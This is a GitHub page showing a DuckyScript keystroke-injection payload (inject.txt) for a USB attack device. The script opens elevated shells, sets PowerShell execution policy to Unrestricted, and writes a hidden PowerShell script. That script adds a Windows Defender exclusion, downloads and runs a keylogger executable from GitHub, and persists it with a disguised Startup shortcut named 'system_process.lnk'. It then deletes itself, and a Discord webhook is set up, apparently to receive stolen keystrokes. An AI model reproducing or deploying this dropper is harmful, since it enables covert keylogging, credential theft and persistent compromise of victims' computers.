-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathinject.txt
More file actions
49 lines (42 loc) · 1.71 KB
/
Copy pathinject.txt
File metadata and controls
49 lines (42 loc) · 1.71 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
DEFINE #URL https://discord.com/api/webhooks/
DEFINE #LINES 300
DEFINE #EXE https://github.com/wishtag/keylogger/raw/refs/heads/main/dist/main.exe
DELAY 100
GUI r
DELAY 500
STRING powershell
DELAY 100
CTRL SHIFT ENTER
DELAY 1000
LEFTARROW
DELAY 100
ENTER
DELAY 500
REM Make sure we can execute the ps1 file
STRINGLN Set-ExecutionPolicy -ExecutionPolicy Unrestricted
DELAY 1000
STRINGLN A
DELAY 1000
STRINGLN EXIT
DELAY 500
GUI r
DELAY 500
STRING cmd.exe
DELAY 100
CTRL SHIFT ENTER
DELAY 1000
LEFTARROW
DELAY 100
ENTER
DELAY 500
REM Create src file which stores URL and LINES
STRINGLN mkdir "%USERPROFILE%\Source" 2>nul & (echo #URL && echo #LINES) > "%USERPROFILE%\Source\main.dependencies"
DELAY 500
REM Create the .ps1 file
STRINGLN mkdir "%USERPROFILE%\Source" 2>nul & (echo mkdir "$env:windir\temp\Cache" & echo Start-Process powershell -Verb RunAs -ArgumentList 'New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" -Name "C:\Windows\Temp\Cache" -Value "C:\Windows\Temp\Cache" -PropertyType String -Force' & echo Invoke-WebRequest -Uri "#EXE" -OutFile "$env:windir\temp\Cache\main.exe" & echo Start-Process "$env:windir\temp\Cache\main.exe" & echo $s=^(New-Object -COM WScript.Shell^).CreateShortcut^("$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\system_process.lnk"^);$s.TargetPath="$env:windir\temp\Cache\main.exe";$s.Save^(^) & echo Remove-Item -LiteralPath $MyInvocation.MyCommand.Path -Force & echo EXIT) > "%USERPROFILE%\Source\dl.ps1"
DELAY 500
REM Run .ps1 file which does most of the heavy lifting with downloading and stuff
STRINGLN powershell -WindowStyle Hidden -File "%USERPROFILE%\Source\dl.ps1"
DELAY 500
STRINGLN EXIT
DELAY 500